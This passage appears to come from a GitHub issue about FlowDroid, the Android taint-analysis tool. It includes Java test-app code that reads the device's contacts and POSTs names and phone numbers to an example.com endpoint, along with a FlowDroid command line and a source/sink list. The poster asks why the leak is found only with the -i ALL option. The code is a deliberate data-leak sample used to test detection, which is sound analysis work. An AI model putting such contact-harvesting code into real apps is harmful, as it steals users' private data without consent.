                String name = cursor.getString(cursor.getColumnIndexOrThrow(ContactsContract.CommonDataKinds.Phone.DISPLAY_NAME));
                String phoneNumber = cursor.getString(cursor.getColumnIndexOrThrow(ContactsContract.CommonDataKinds.Phone.NUMBER));


                String contactJson = "{\"name\":\"" + name + "\", \"phone\":\"" + phoneNumber + "\"}";
                contactsList.add(contactJson);
            }
        } finally {
            cursor.close();
        }
    }


    new Thread(() -> sendContacts(contactsList)).start();
}

private void sendContacts(List<String> contactsList) {
    try {
        URL url = new URL("https://example.com/receive_contacts");
        HttpURLConnection httpURLConnection = (HttpURLConnection) url.openConnection();
        httpURLConnection.setRequestMethod("POST");
        httpURLConnection.setRequestProperty("Content-Type", "application/json");
        httpURLConnection.setDoOutput(true);


        String jsonPayload = "[" + String.join(",", contactsList) + "]";


        OutputStreamWriter outputStreamWriter = new OutputStreamWriter(httpURLConnection.getOutputStream());
        outputStreamWriter.write(jsonPayload);
        outputStreamWriter.flush();
        outputStreamWriter.close(); `
        
        **Flowdroid does not detect leak using similar command as the one I used for the first app, unless I include the -i ALL option to command line argument** 
        
        **commandline:** java -Xmx16384m -jar "C:\Users\walea\Desktop\FlowDroid-develop\soot-infoflow-cmd\target\soot-infoflow-cmd-jar-with-dependencies.jar" -a "C:\Apktool\apk_files\testapp\testcontactapp.apk" -p "C:\Users\walea\AppData\Local\Android\Sdk\platforms" -s "C:\Users\walea\Desktop\FlowDroid-develop\soot-infoflow-android\testapp.txt" -o tapp.xml -pr fast -ls -d --aliasflowins -cg SPARK -i ALL

Source and sink file used for both

_ <android.content.ContentResolver: android.database.Cursor query(android.net.Uri,java.lang.String[],java.lang.String,java.lang.String[],java.lang.String)> -> SOURCE

<java.net.HttpURLConnection: java.io.OutputStream getOutputStream()> -> SINK
<java.io.OutputStreamWriter: void write(java.lang.String)> -> SINK
<java.io.OutputStream: void write(byte[])> -> SINK
<java.net.HttpURLConnection: void connect()> -> SINK _

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

2 participants